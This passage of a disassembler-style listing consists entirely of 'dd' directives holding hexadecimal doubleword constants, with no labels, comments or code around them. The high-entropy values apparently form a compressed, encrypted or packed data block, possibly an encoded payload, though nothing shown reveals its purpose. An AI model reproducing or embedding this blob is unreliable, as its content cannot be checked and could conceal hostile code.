0FC00DCE6h, 2A5F5CDEh dd 0C77909F2h, 705398F0h, 6DCFF0Dh, 7B01BE08h, 702F25B5h dd 90A22E84h, 0B2AD8D2Ch, 13ED5D3Dh, 0B48252B1h, 0F00C3063h dd 1F6B3516h, 0A201AC8Bh, 0E280F02Ah, 7F60DC8Eh, 848FD894h dd 8002ED26h, 7ABCA742h, 21A10094h, 82DA1701h, 32729108h dd 397F1E35h, 71E85705h, 0E90BD4D0h, 46F589Eh, 4A20B47Dh dd 0DBA00751h, 9035E710h, 5281C0BCh, 11B50E27h, 5D183780h dd 0DB92AC08h, 406AC443h, 5DAC6539h, 84600122h, 0CB62F86Bh dd 9B873FBh, 0A22E5A2Ah, 5961926Ch, 698D0040h, 0C38E53ABh dd 50B460B2h, 1DA465Eh, 6E606AF8h, 306638A4h, 0E03377E2h dd 3B19DB8h, 90B8DE3h, 0D109C78Bh, 2087365Ah, 0C9777590h dd 247C7A1Ch, 180CEEBAh, 8D9F50E6h, 0B144B4B0h, 0EDEA3A8Ah dd 0E063386Fh, 5002C3BAh, 207DA752h, 17E4549Fh, 85C8C9F4h dd 0F83D6D91h, 516964E2h, 0A6E48845h, 2A3C5A61h, 0A21808h dd 0E8ABBB54h, 0E212B27Ah, 48B4830Dh, 0B774132h, 0C0A58834h dd 0EA0D6C97h, 0E0E6DF3Ah, 75DE6948h, 78AC63F8h, 3AC8E13Eh dd 0AB56B0B3h, 6BD8F0F8h, 0C1CB0B4Ch, 14C4F5E3h, 0E513E642h dd 250022DDh, 7A790051h, 88383D18h, 0E0AD143Bh, 86B092Ch dd 9CB0626Fh, 6B4544C0h, 6643DEDh, 67646023h, 30622929h dd 0D0982DF0h, 34B1CA2Ah, 0B96FDA00h, 0F9DB7B4h, 806E7B52h dd 0CEFD7E44h, 0C3DA8834h, 1390FF9Ah, 20C967CEh, 797C51C5h dd 3B818EFh, 0E653B29Ah, 17ADB075h, 1EEC20E8h, 433F9935h dd 53EE09E5h, 0F4840263h, 0A828203Dh, 71268672h, 3824D274h dd 7C4B467Eh, 0E5818E16h, 662EE007h, 25E0CE3Bh, 90442C62h dd 9CC45510h, 3AE3B213h, 779230Ch, 0DF3A154Ah, 0B23412C1h dd 0B8F03849h, 9E058C9Bh, 0CB6F57ADh, 84B4F884h, 36DB0CC2h dd 87C8D392h, 394FE6F6h, 0FE1D841Eh, 0ECAC78C3h, 4B3115D0h dd 0F000885Eh, 0EBF159D2h, 0FB1D7E58h, 5424979Ah, 4C22309h dd 34926340h, 3BFC7928h, 82621AC2h, 0D47120h, 9C50BF3Bh dd 8D0086CCh, 0E4261332h, 69E785Eh, 2BEE968Ch, 624382Eh dd 0A2818CFEh, 1845F51Ch, 0E8484C2Dh, 0B98CDBFCh, 93589EF0h dd 0C80CD2DAh, 0D771E051h, 180F3418h, 8013C7FAh, 0BBCDBECh dd 8244B163h, 831465C6h, 0B8316C54h, 0A86DC2C0h, 58E5C100h dd 0CB526ECAh, 3BFE9200h, 36F5DDDCh, 0EEFA09ACh, 680199E3h dd 31748DEAh, 0C42F2EA4h, 0A704EE23h, 0A0ACE1E3h, 24D8B6A3h dd 0A702C5EBh, 4BCE98C1h, 1019623Fh, 76F06B8Ch, 754C98EAh dd 0E17A092Eh, 848467B5h, 75DC54A9h, 0E9A1D831h, 9C247206h dd 5B6B138Eh, 23943AB2h, 6080579h, 0C200A012h, 0BCFC5828h dd 0C02A6124h, 93A8A46Fh, 0B4285401h, 0F402248h, 2C023210h dd 176B0E0h, 0EED96533h, 2821FEF5h, 0CE6D0180h, 0A9EA2852h dd 0D73CD874h, 8D288240h, 5850B906h, 70286935h, 10530284h dd 633B8F8Eh, 0B50B5C74h, 400C89B8h, 8393DF80h, 46E10F8h dd 0F66C0095h, 0AC361F3h, 0D6E61E83h, 0A8652590h, 90637AE4h dd 55ABC2B0h, 0A223EE1Eh, 0E0368E00h, 0B9B6BD06h, 60F4F350h dd 1FCE312h, 69A65DFAh, 807ECAC8h, 26E46E21h, 0F9C03Ch dd 0E8C52C98h, 6CA12831h, 6D625C01h, 0C88EF067h, 1C100C31h dd 0E9F89Bh, 0D3BC0595h, 0FA4C891Dh, 260EC300h, 61448803h dd 101C9871h, 5EAFE37Eh, 4B23942Fh, 6ACF6400h, 25DC2FA3h dd 0F86039FEh, 0CCB6C749h, 0C6C400D6h, 0C843BDF4h, 8018D38Fh dd 0C571604Bh, 8990FFEh, 0C2A02609h, 9FB0CE0Ch, 0FACA6C02h dd 9DBCB233h, 807511C0h, 1DE1DD60h, 55C6096Eh, 64618FC0h dd 0BC0438F3h, 29028C77h, 3684795Eh, 2C445686h, 0DCC43C18h dd 59712F8h, 943A4308h, 0A401EE23h, 0A52858C0h, 88B09870h dd 0EF380733h, 30E48153h, 0D54A2E96h, 0C17A0834h, 0F4ABE241h dd 0D0F8EAEAh, 0D6C4E34Ch, 0D723442Eh, 0FDCF2900h, 2ABD93Ch dd 12460539h, 14643562h, 387F6608h, 2EC80FB4h, 89208C67h dd 0D8D19051h, 3405B418h, 0F221DA49h, 4E7598F0h, 6298C15Ch dd 87D4482Eh, 52A96904h, 28BC4210h, 0F8C4FBCh, 6A5250CEh dd 95BB38A1h, 2C002F3Ah, 8DB57B07h, 0D8B14Ah, 0E999C937h dd 0C0018F24h, 0F9A00744h, 5829E6E3h, 698E5B0Ch, 0C2F461D8h dd 5E0139DFh, 224F45EEh, 27DE6830h, 18825530h, 746C7DE6h dd 5D64950Fh, 0F37F86B5h, 80100959h, 0DC1D3FADh, 4B804D11h dd 0A9EEBCFAh, 6DF4F13h, 0E2F8E4h, 8BEAE926h, 33BA4E9Eh dd 5338A212h, 0D723543Ah, 92878B00h, 1E347250h, 82D2F2E6h dd 0E53A065Ch, 7E0C4476h, 2C537963h, 4280E1ACh, 0C8E15AC3h dd 0B341891h, 312A0E21h, 7080B8E5h, 9EC8213Ch, 34C91EBDh dd 0E17DC5DBh, 8CA41420h, 0A1E80618h, 0B90038A7h, 2758E7A5h dd 4C3FF544h, 407C005Ah, 0A4B65495h, 4E98A23Eh, 0A9BC2053h dd 0AB016CC0h, 119433D4h, 8C80F7Fh, 0AC2F153Ch, 9C5964EDh dd 23542F5Ah, 507B00D9h, 0D5DBAD62h, 80FBC91Dh, 8AFEA3C4h dd 17D25E80h, 0A83E5CC2h, 0AC6BA5h, 0FB24058Dh, 887F3013h dd 4182AA0Ch, 88380264h, 8F38E02h, 70D465C7h, 5C91EA04h dd 96DBDE02h, 8BBBB0D4h, 52B2447Dh, 700F2430h, 0FC642560h dd 0CBBAC600h, 87152052h, 0DEA4003Dh, 0ACE38D2Ah, 0A537EAF5h dd 61415856h, 8D106337h, 0CE4ED06Bh, 0B8284400h, 170D42C1h dd 80CA1C6Ah, 0E455AE80h, 327754FCh, 4D371E04h, 40A9FC4Bh dd 0BA0343B8h, 0C0B1062Fh, 0DFEA8815h, 0BC78406Eh, 65465A1Ah dd 0E464E5A8h, 511060DAh, 0A282020Bh, 9A2EDBC0h, 0C00250EAh dd 2C5EA1C4h, 12373242h, 0D76444E5h, 0D3A40C60h, 58FEA500h dd 1EF18409h, 58A2E45Ch, 100450FFh, 0E42F6211h, 6A586058h dd 9626C258h, 650601E5h, 2334227Bh, 0F00D0162h, 63276B36h dd 23A3855Ch, 849B1884h, 1F20D311h, 98344636h, 52C08482h dd 4152F870h, 301888EBh, 0ED084F8Fh, 78DB842h, 5322C5B9h dd 80BC81A8h, 0AC10198Fh, 0C67B5E6h, 60F7F66Bh, 2013DC91h dd 8F4CAB6h, 0FFF8007Dh, 90A76F11h, 939DEEACh, 0F2AAB8CCh dd 0B4502521h, 6A3C7819h, 2E00806Bh, 0E8039665h, 8977BB72h dd 0AFC414B4h, 10213260h, 45812A25h, 3A76804Ch, 0DDE94F21h dd 0F3F5B204h, 20EDC869h, 3A1642ACh, 0E804535Bh, 5901ABC8h dd 3037EEFDh, 4A308E94h, 8055A979h, 2FB802CCh, 907DE499h dd 2A11C8A0h, 97A9F2h, 22B9636Ch, 0DCA29786h, 74804324h dd 0E5AF5655h, 0E8F2C6F6h, 0A3F48B54h, 6F6F58h, 0F3941528h dd 0C58CD5h, 46EEB117h, 0D8914EC2h, 4DFEDD0Bh, 9ED40F06h dd 98369683h, 0C244E797h, 0ADC02094h, 3CE6EC4h, 692C8611h dd 0A490F3D4h, 0F0B80B98h, 0D0D8BC82h, 6EC8F600h, 24B9DDDCh dd 611D05A9h, 0E01065E4h, 32070C70h, 0BCE9E514h, 0FFF7AEAFh dd 0CBB23482h, 0AF20487Dh, 0AD6500FDh, 0EC799DF0h, 0C900D07Ch dd 7D35F774h, 4E8DE6AEh, 0B5800D8h, 2E5B999Eh, 170C4603h dd 0E0420F6Ah, 86E5A2h, 5815FFBDh, 69C1307Bh, 0C8C0BE00h dd 0F3144806h, 577D55h, 9A2F0B71h, 0C5B8BEDh, 3117CD03h dd 189DAC76h, 61879E58h, 0A30FEE79h, 0E0C8CF0Bh, 406CD5B9h dd 0D4183F3Ch, 7088DF00h, 0C138E82Ch, 0FFB3C400h, 56443353h dd 0E79100D3h, 0C72C6EF9h, 0E400FDCEh, 0B16AA557h, 0C07094D7h dd 0EE642219h, 140FD44Ah dd 600D3EC4h, 2C214E8Ah, 0ABA0C046h, 375F4AE7h, 2230B677h dd 73781948h, 75CC0039h, 2BA0E86Ah, 0AFE004D5h, 51303F00h dd 5A8DBD9Bh, 0E74B30D9h, 6D25C188h, 6579AD00h, 45EF66CAh dd 3D850C98h, 8BF063B2h, 97B8D466h, 0E89F18A0h, 8921859h dd 1000578h, 7830F262h, 3C25E95h, 0C3AF1A48h, 0F8006A52h dd 8DBB2026h, 0A04D35h, 0DA9DA20Dh, 0C7C8D839h, 0AA794A7Eh dd 0A4E49803h, 0E8976213h, 3CB91Ch, 5532BAB2h, 0F163E6C0h dd 0BBAFFE1Dh, 0D8515E80h, 0BF1681h, 0F175BD7h, 871F2C98h dd 0DAA63Ah, 0F099E695h, 0E7D46E1Dh, 5F1800E3h, 47429DD5h dd 20ADDF57h, 0D13A8B84h, 7E07D90Eh, 0BC404199h, 0F815D498h dd 0D50F19FAh, 80C0A593h, 2B91CE4Ch, 0EFD3004Fh, 6A7475Ah dd 99437C2Fh, 1F4F8198h, 1408D041h, 0F3177D1h, 2B03ECD3h dd 5D41FA83h, 0BE0102F8h, 0D5005475h, 0D4C71F24h, 15889E0Dh dd 349890A0h, 80F5086Eh, 1F334708h, 0C0A087D6h, 1FB6CA37h dd 8615E200h, 46CFA8FFh, 5D7400EEh, 4E6B4022h, 0E200383Fh dd 0DD63111Dh, 0C197BBADh, 6BE68CA6h, 3836ECDCh, 8209DB01h dd 0EC10C2E1h, 106A1442h, 0ED8967C9h, 0DF44B308h, 0C9DA4586h dd 10F11266h, 1289B1A0h, 2C445808h, 217384D5h, 0D4082E89h dd 84D95844h, 4492AD22h, 0D700F31Ah, 0DDBEC907h, 649591h dd 1627F20Ch, 0E00F61B1h, 75B43Dh, 0D89C56Fh, 76204F3h dd 0A3C65C7Ah, 691FA03Ah, 0DF00AFEBh, 550ED870h, 0F373DEDh dd 95FE0194h, 707D9F87h, 100DDC33h, 4DBE381Fh, 0F2775A80h dd 1F37274Eh, 8082A7A6h, 8E1F7380h, 0FB0005C4h, 79CD9418h dd 56E022h, 0C6EF0472h, 0BF60FB6h, 0D500C175h, 8EF0CCC0h dd 72490E0h, 0C5AD7DC7h, 4DC6F07Ah, 0EB0061C3h, 60E95FA9h dd 1E1D038h, 773711A1h, 0F8A8E61Dh, 640090ABh, 55668941h dd 3D0143D3h, 0B0012C0Dh, 4422E4D7h, 3A1DE023h, 305A2400h dd 354ADBCBh, 6F6000A2h, 0B6EB4FA8h, 0EF00CF70h, 0E3488EB4h dd 1167456h, 0EF7F26Ch, 0D4142BD5h, 120799B2h, 0D33736C7h dd 16132750h, 5C850002h, 35922104h, 98007FA9h, 894E31F9h dd 0C0C6A215h, 53BE1830h, 0D203DC30h, 96E85685h, 0ABD7B071h dd 542800CEh, 8C39B41Dh, 0EC015B76h, 0EF6BC80Bh, 16C093FDh dd 0A49F0059h, 3CBE7EEAh, 5F3812E2h, 0FA248060h, 0F94DE5CAh dd 1ACB0039h, 3D5EAE80h, 0F800978Eh, 0B533B109h, 0CF8530h dd 7E364EF7h, 72E102B4h, 21712600h, 6E70D214h, 6987CFCh dd 30F6D4A2h, 8800B8D5h, 3A8F4DA1h, 0E4A89E1Bh, 1D80C0EBh dd 0C86403F0h, 0CF202A00h, 45311E4Eh, 2A9084h, 0ECFD3A90h dd 35D571BDh, 9DCD9C00h, 0A018B0D3h, 0FF4C7A37h, 30F0F9E8h dd 0E4103ABAh, 5400224Bh, 0A27FE6DFh, 574939h, 0E7A7C81Ch dd 0B601AD2Ch, 56BC9000h, 96B8AFE2h, 0D41C081Fh, 0F507E1B5h dd 82F099E8h, 1355D642h, 1F1D09ABh, 515C0ECh, 0ED0B5D8Ah dd 0D884341Fh, 6EC7E800h, 5E8F75h, 0BD981782h, 0A80AB2D3h dd 9A3FBE78h, 0A70680CDh, 34B60F43h, 57AC0005h, 9F13D079h dd 0F100046Dh, 0E2CB4686h, 5D8F30h, 0BAA61788h, 0E1CFF7E7h dd 2EA9D900h, 1B187E55h, 5A80003h, 0DFCB6362h, 590E824Ch dd 40303AB7h, 0DAD639FBh, 41850155h, 4D2306B4h, 0E7882098h dd 6F788C0Bh, 8E4F0060h, 3029912h, 0DE458FEFh, 1000345Bh dd 0BC514D04h, 16861A37h, 1E4BD520h, 14E4C16Ch, 0FC0C0EF9h dd 5A0F6061h, 0E1226B81h, 99E9134Ah, 401E88Fh, 86BC97E3h dd 0C0ED2EA9h, 7B01A948h, 87C993Ch, 28F86166h, 0C4E501B9h dd 0A4E7F939h, 0BA51D494h, 8EE662F4h, 3D3D817Dh, 0C27780F0h dd 5C0AD2Dh, 0D83A00F5h, 18652E38h, 46032858h, 26BC70F3h dd 0D587E74Ch, 1DB8AE80h, 3B2E0A55h, 4E466DFh, 81CFB74h dd 8C240CEh, 6C00BB52h, 99FFEFF4h, 93ED62h, 0C4B0D209h dd 7FC3BE1Eh, 0DA9B7500h, 8B6612F0h, 4A34C038h, 5A5979Ch dd 80437600h, 81426F3Ch, 2FC3001Bh, 60E32D6Ah, 21000D8Ch dd 0AB9F2024h, 85DA30h, 8B99EC5Ah, 37CE400Ch, 88664300h dd 0E8ABA85Bh, 49830058h, 0B214E7D2h, 71005E9Dh, 0F2C259B6h dd 9666A8h, 0BC058C97h, 7C8834E1h, 3DE2820Eh, 3EC06739h dd 6149160h, 1E3A0085h, 7B381587h, 0A0005D90h, 0EBEC64A2h dd 7BAFB6F3h, 763B00A9h, 25627E83h, 1D003014h, 5BECC48Fh dd 918D98h, 354B6FEBh, 0C726B6B4h, 7E01D4FCh, 1612EFD1h dd 85203F54h, 0F230008Eh, 760E6411h, 2C0045DCh, 0CFB402BDh dd 7422785Eh, 34214805h, 0A3672902h, 0FC60F1C2h, 1D00D203h dd 50E751C1h, 3A4A44D5h, 3788CFAh, 0DEA8F6ECh, 3588D456h dd 0F73ED1C8h, 0F6D800Ch, 5FAC483Ch, 0EBE30097h, 2338E122h dd 5E00FDC2h, 0B66EE588h, 36B85Bh, 6B7DB91Eh, 8F408B0Ch dd 3530BB01h, 93C89EA3h, 3F3246F0h, 0DD809274h, 5DA558B5h dd 50983D54h, 1161EF00h, 56D1B067h, 94780021h, 6F4A8CA6h dd 1200D54Fh, 0A3818A8Bh, 1255511Dh, 25DACBh, 0B3D96445h dd 7100AAA7h, 86F3AF44h, 1FE9F905h, 4B83982h, 0C05BE8D9h dd 0B79EE0C0h, 10B88B51h, 0E9D6B48Ch, 3CE2B00h, 0BB6872C8h dd 4857070Bh, 604D8861h, 0D2259A64h, 80F89C24h, 0A7E88C00h dd 4395F4Bh, 7B15554Fh, 7517C06Fh, 3700D1E1h, 0C7BCCCB8h dd 0F13A9F1h, 0D63D87A3h, 90907DA7h, 0F9031C21h, 0B90009F6h dd 7F2D0FE9h, 18CB60h, 4B32C46h, 3F4D0A86h, 6C0C7600h dd 87E720E2h, 0B92B0798h, 2067D933h, 407ECE0h, 35F7311Eh dd 81A24080h, 5E92BCh, 8A1106Fh, 0EAB9E5C2h, 82513A00h dd 6567354Fh, 1A47010Dh, 0D71F06D1h, 0BC864066h, 349A582Ch dd 6C0537F6h, 19A03C34h, 0B0002C85h, 0B350AD5h, 432226B3h dd 0F6650084h, 239EB132h, 1A53FF00h, 0CAB3637Dh, 38126E76h dd 0EBAA6120h, 0EA00DB5Ah, 79C85F41h, 393B27h, 7F589AACh dd 0B41F4C85h, 0CC920F3Dh, 33861E1Ch, 8A45F600h, 5CF88419h dd 0A802304Dh, 63EC8EDCh, 0E24A9CE8h, 4013FE00h, 0BA438150h dd 0E880010h, 7A6503F6h, 0E305AC4Ah, 0E91FBDB3h, 69E094C0h dd 40C602FFh, 0EDE77155h, 0B4A7A880h, 0F9009F27h, 0E3290E86h dd 375013D2h, 0B0882F87h, 19F866B0h, 0DB0022F2h, 80623549h dd 1D7A6814h, 0C1826F74h, 695B02B2h, 292080DCh, 0F4C17C5Ch dd 0D292042Ah, 80278EBCh, 4BCDAB8Bh, 7D3BC209h, 3DCC87E2h dd 0A3B91A60h, 2A240044h, 0C64FB54Dh, 0B0380164h, 161C8B38h dd 0DD102085h, 8A3A0h, 3152DC1Bh, 7B516A70h, 5A2C321Fh dd 0EEE9FA40h, 0A0B156h, 76AB474Fh, 0B29D51B4h, 2E25F500h dd 0B86C892Ch, 0B6D10452h, 1E8C7D8h, 494F809h, 281470h dd 6B2159FCh, 0F24F725h, 74688CA0h, 75172701h, 0FDCA632Dh dd 75701BE1h, 0BB3200C3h, 0FE654A4Eh, 0B8A0267Fh, 6900BD34h dd 0F2B847D9h, 9F0E5Dh, 0B606C6D1h, 0E23548F5h, 800066F6h dd 714D79B4h, 14613E84h, 8C73BAB5h, 910D0F00h, 517E8C43h dd 9FBE723Dh, 84C0C913h, 8907A166h, 32B100FEh, 0F82D42A4h dd 0E30091BCh, 23BA938Bh, 0A8575FA0h, 5889CBD0h, 4A002C60h dd 0A3222F3h, 8D0039E9h, 128629ACh, 585E9C5Bh, 0D30B0951h dd 8880040Fh, 0A6A5799Fh, 0F80047E0h, 0B569E1F5h, 14A9CE3Ah dd 0CC37CA8Bh, 77DFE900h, 278D5764h, 3800467Ah, 0D24EB3E6h dd 0A8FE96h, 6522D9A5h dd 0EF3BBC37h, 0C6CFCA00h, 0DD72F5D1h, 75421602h, 0BEE8009Fh dd 0E99B5BE2h, 0BB5DCCA0h, 0E100F099h, 60429AA7h, 4BAC00D7h dd 47D1FB25h, 32000BFAh, 0B2F73A27h, 77DB584Ah, 0B32500A3h dd 30C29275h, 8F0CFFD3h, 0D8D2C335h, 0E97B0403h, 8084A04Ah dd 0C85661E8h, 4187F300h, 0A7D7D5CAh, 0D90B00ABh, 258D46AEh dd 0A4019BE1h, 3CC5F838h, 107648E2h, 0A01D7787h, 16F5A66Dh dd 0CD744906h, 687BD6h, 41CE0FB0h, 95B53D9Ch, 177D6F00h dd 84B4BA1Ah, 0EFD207C4h, 70CF6DB2h, 453733AEh, 4A32B38h dd 581981Bh, 0FE14A0h, 0EB6FC428h, 34CE4ED1h, 0AEEF2600h dd 0F105170Bh, 561901EAh, 736E0EE3h, 2EBC00ECh, 0B9CF1EA5h dd 0B2A8F32h, 20365280h, 5900805Bh, 0BA2DD4C9h, 2388C7Bh dd 5271CF9h, 9941DB89h, 0ABE8D397h, 0C2031D6Dh, 0CE1F4F56h dd 9EF800EDh, 1E192F07h, 35389D23h, 0EA4A0E57h, 0A4CC61CDh dd 98705FC6h, 491A0085h, 6333CE56h, 0E50037D5h, 7CFB75Bh dd 1E9617F2h, 81FE5CCCh, 3BAA3AEDh, 20FA304Eh, 0DB0094B0h dd 2D32DAF5h, 2F05A0h, 794367F4h, 246B2CB6h, 9C807F2Ch dd 54C3600h, 0C65ECBh, 0D8D17C9h, 0D5D4227Eh, 320150E6h dd 0DD70AB02h, 946086B6h, 0BB9D00F6h, 4B475F5Eh, 0F100B999h dd 4668D9E4h, 261CBh, 58A6DD33h, 36AAE0A8h, 94218B00h dd 886901DCh, 7172AEh, 582A39C5h, 29D6E24Dh, 0F47FF100h dd 9B2D3138h, 3AE71FEEh, 985ECF86h, 0FE2571E0h, 9C50B262h dd 83D9FF4h, 520808Eh, 0DDD1AB04h, 0B6EF000Bh, 368858B8h dd 18A4FBB5h, 8B546500h, 2E55A239h, 388D0E76h, 4103A149h dd 5ED8C2C3h, 1890237Eh, 2C60984Bh, 5CCC9F50h, 460504FDh dd 0C0E89293h, 5B1CE603h, 0E3E55C02h, 80ECF05Fh, 3B82FFF0h dd 0A5940098h, 3E55DA1Dh, 2EF6AA77h, 8061333Dh, 6CFC9BEAh dd 0C59819h, 4F34E1A1h, 0B8E312A8h, 5C009890h, 185A392h dd 3ECE962h, 2A79AB32h, 63D07D87h, 0F00038A2h, 0EB823ECFh dd 980774C2h, 8E0F000Bh, 0B9541381h, 0D101E74Bh, 652FF3FBh dd 35E47017h, 0F2A100D0h, 0E890616h, 36ECC92Bh, 3C40144Eh dd 551DDD83h, 6C9070h, 0F2D01BF6h, 49DF92B6h, 59A07D00h dd 0B5752876h, 859B3FDDh, 0C833403h, 73F80EE7h, 912E2515h dd 200036D4h, 78EA6AD1h, 0CA1900ACh, 0B5EE70C1h, 9C12EF9Bh dd 0F4008973h, 3F932A60h, 17F9085h, 2D19F35Ah, 0F4492F12h dd 6E00E29Eh, 4240B0A2h, 6AC165h, 1DABBB33h, 0D0461C4Eh dd 0FECD6800h, 51BAB47Dh, 0C785000Ah, 0C5B210E6h, 0A93D7163h dd 0EA35038Dh, 0B083709Eh, 2441964h, 60E4E02h, 0ACC0D968h dd 2E00E571h, 2A1B31ABh, 1155770h, 0CF517A9Bh, 0F0A961F0h dd 5A0E1FCAh, 8AA2555Eh, 0A409D8BFh, 0E82D844Ah, 1FD3D4C8h dd 40AF3264h, 20F6ABA9h, 0CF00D638h, 0BCAAB6DAh, 7A5F6A2Fh dd 82C0077h, 0D093C09Dh, 9C054378h, 14FFBD79h, 9B810C0h dd 4816485Eh, 33C7247Ch, 3E5103BBh, 0A7884875h, 5700C4CDh dd 7DB527E6h, 0CCB47Ah, 3CF3BE1Eh, 868D6ECFh, 4DACC302h dd 78751228h, 0B03413ACh, 0F7E480B7h, 0BC0797C5h, 68879484h dd 0D90A3160h, 62330227h, 0B1111A32h, 0FEA138E0h, 761ED898h dd 0C7DE61EBh, 1693C480h, 0ECBAA552h, 0FC7A35h, 0BE193D9Bh dd 3790CD04h, 8F005EF4h, 7150A29Eh, 997E739h, 51FF0F6Fh dd 0F7CAF8C0h, 9B3CB400h, 6F51DB9h, 0BDB7ACEh, 0EFEBB3C0h dd 0C3F82420h, 0AD03F6DAh, 76311DCAh, 0F2AFB09Eh, 53B0A0E8h dd 10C406BDh, 0E86A25C3h, 0DB2EDC00h, 0CF80C19Bh, 0C7540667h dd 9A70287Bh, 128CF814h, 4D4C04B4h, 5D00159Fh, 748120F2h dd 0F426CA79h, 2C005927h, 33C275F9h, 8CA900A3h, 0F80204C3h dd 4704D761h, 30DFC0AFh, 50016880h, 51FB005Dh, 4D2910F6h dd 0E7EA45F3h, 8300F7F4h, 0FC3AF8A1h, 43F6A0h, 42902932h dd 9BD34D54h, 7A717812h, 0C00ADF0Fh, 28FB969Eh, 0DA1B00D8h dd 2C3D4962h, 80B6674h, 800584EBh, 598A4C24h, 81C9007Ch dd 0F350244Fh, 5B121511h, 70011D74h, 8BE4BC8Eh, 9376660h dd 4F90FAF5h, 27F8F0C0h, 208DF14h, 0A9483AE8h, 8440C871h dd 4CC602Eh, 0BE99ED16h, 0CF1000B8h, 39655072h, 2E005689h dd 4AC7E857h, 2C00D0E1h, 7BB97573h, 222D5Eh, 0E3B44119h dd 58597AB0h, 8D20861Ch, 0C800182Ch, 8442FB08h, 44C8A013h dd 0F1984085h, 3FFEC09h, 1C7080B0h, 5C060279h, 8B805443h dd 8A654027h, 0E35B607Ah, 0B1382841h, 7760A4EBh, 9DE90AAEh dd 0D07C72h, 0BE9C2933h, 3116CD4Eh, 0B80140D2h, 54A27212h dd 9DEDD471h, 1D6F7A60h, 402094AAh, 0B07C017Fh, 10008326h dd 0FE7E06EAh, 0F133B8EBh, 0D242EB40h, 2A7E409h, 93ABDF9Fh dd 0A1601FBAh, 873C15B3h, 0B460046Fh, 45C08E85h, 0E85B99ECh dd 0D423038Ah, 0E6F9C80Bh, 5E02A4F0h, 7FD9BF00h, 0A706412Ah dd 73573F5h, 0A72959Eh, 5F5B0370h, 14FC0F88h, 31DAB300h dd 0B0C2BCF9h, 0C16800D7h, 0D4E324Ah, 0DD2CE91Eh, 0E2006C16h dd 0AD7A9E7Bh, 1915B31h, 0E00451F4h, 55F83494h, 66A9E800h dd 41715EB8h, 0C443001Dh, 0A72E20E2h, 9D0057ECh, 85CFF804h dd 5BFCC092h, 0C9300762h, 0B32CB349h, 8F1F8138h, 0A1CE6B73h dd 0F932DD84h, 3C008028h, 0BDC44CB7h, 0ED02805Fh, 39C6CBC3h dd 0BE10A4F3h, 0BA3B2F08h, 0AC11083Fh, 37B13F3Bh, 1316F810h dd 1DFAC04Fh, 0BBAD3C99h, 38EAA003h, 0E4BA3998h, 0E51F2160h dd 0B90E8CBAh, 7FB659C4h, 0C47B500h, 7DC628Bh, 0C1BDCA3Dh dd 0B66E90DEh, 9E003677h, 0B572B3B2h, 0C92A4Ch, 0E932F89Bh dd 89546D01h, 16C4B403h, 73D2BC3h, 0BA9798E0h, 90E4874Bh dd 0E570D1C2h, 5FB3C41Ch, 30B080EDh, 0ACC1628h, 20389C2Ah dd 0C533BACCh, 16D04421h, 89008AE8h, 0D583C81Fh, 5A78D631h dd 0E95300F7h, 8CD0DA08h, 0FE042500h, 0B83A4E5Bh, 0BCF4F3h dd 87573C93h, 475AE3E8h, 0FDC8B007h, 0D92038E7h, 0D0ECFh dd 11A9337Dh, 7AE48550h, 0BE0BD500h, 225B5F71h, 0E38801A7h dd 336FBF16h, 5635F18Ah, 487A0CCh, 0BA0BE255h, 38367F40h dd 1F3D7118h, 12CAE719h, 1D5D9DA6h, 56BB808Ch, 0ED22C47Fh dd 16417160h, 3576DF8h, 6E015A39h, 0ACE16050h, 0A51E8C2h dd 87FDA000h, 97F53A4Ah, 78092E3h, 19D7FABAh, 0AD5F90DEh dd 72E2578h, 10006DA1h, 7637ECCCh, 1EB73036h, 39B0D469h dd 9C2599C0h, 3DD971FFh, 0D0838CBFh, 15454B14h, 47363B88h dd 3592E4Ch, 0AEBEA6E5h, 33D8113Eh, 0C6B70322h, 0E03DD87Ah dd 4C2435Ah, 0EA459EAFh, 0AA7CC07Fh, 0A202A727h, 904CD373h dd 0B0DC488Bh, 0CFBD001Ah, 87C29E16h, 800D9E5h, 0C4988AA1h dd 0C69D167h, 2F2B4E30h, 0CD07CA80h, 0E2B3BDEDh, 81AFB704h dd 877A9185h, 0C2CEB189h, 18EAA0FCh, 29EEA330h, 0F6F539CDh dd 0E2360880h, 0CF1C1978h, 0C86859F6h, 8800907Bh, 79E5B9CEh dd 9A8F35C1h, 0B5CA3CDCh, 1180C4BEh, 54980E1Ch, 0B14D178h dd 0EE0865Eh, 60ED96CFh, 0B3363A49h, 9E3CA00Ah, 0F84BE8C9h dd 6006F82Ah, 6DEF3010h, 500738A9h, 5DF3CD51h, 9855A780h dd 4B750027h, 39A1E7A0h, 0C2007110h, 0DBB25CE3h, 58532AA9h dd 790762D4h, 0C01A82D6h, 592845E7h, 343FA013h, 9500886Ah dd 502A82F2h, 0F7086E0Dh, 838EBD3h, 0F081318Ah, 9C06815Ah dd 0C8C9BBF3h, 0A0E196BEh dd 18BC1CF8h, 501B9FB3h, 0E218236Ch, 42893694h, 0C87800EBh dd 20E1F7CBh, 8CCDFB5h, 75211Bh, 2D6A78D3h, 0CC3531FDh dd 2E993960h, 0A0273766h, 5033A4FCh, 8CE9301Ch, 0C178E404h dd 5F62DFCBh, 78CC2220h, 0D43F00FEh, 4DF5F821h, 0CE19B287h dd 76C0D752h, 2CF8060h, 0B545375Bh, 0E4A1C5EEh, 0E74D63B9h dd 804AC391h, 28663C88h, 70CDC9E9h, 384C205Bh, 79C20B07h dd 0C1833749h, 0B188BA6Fh, 0A801261Ch, 0B8B8644Bh, 0A4892D09h dd 4AC033Ah, 0DD35C3DEh, 0C1B48023h, 16005EDFh, 912AD334h dd 0DC00C83Ah, 0B721749Bh, 32C5808Fh, 8808779Fh, 855FAC48h dd 285E7500h, 2A07EE29h, 0D4A00933h, 7001F3B1h, 8035D8C9h dd 0F9207D69h, 0CECBA9Ch, 4A334C0h, 21C02808h, 0F7F9E8F6h dd 0BE310018h, 0FFAA8F6Bh, 2E260D8Ah, 78A40C1Fh, 8C076C11h dd 548343h, 0E670CCDBh, 0B9348A30h, 34BD901h, 6CE15219h dd 0F8DEB11Bh, 0B5340C08h, 7873CB8h, 1CC751E4h, 0DB883358h dd 589AB3h, 4F964C49h, 0D96AF812h, 330CA00Fh, 0B96220FBh dd 70E63059h, 502A76C3h, 4994D8E0h, 9200084Dh, 19DD0ED4h dd 8600A104h, 0C274FA8h, 0F48360D0h, 0D0824892h, 801FDA15h dd 775A310Eh, 3C83EFC9h, 200A26C2h, 94052C9Ch, 0CC46A820h dd 9BF92102h, 173104BAh, 0F9F5DD10h, 19333603h, 25D8CDh dd 0BAA77219h, 0B0014F3Dh, 0EE6B3601h, 5E5DCE3Eh, 13D7A3FCh dd 39CB2C3h, 1D3ABB6Ch, 2E558802h, 6098293Eh, 0EEBFD754h dd 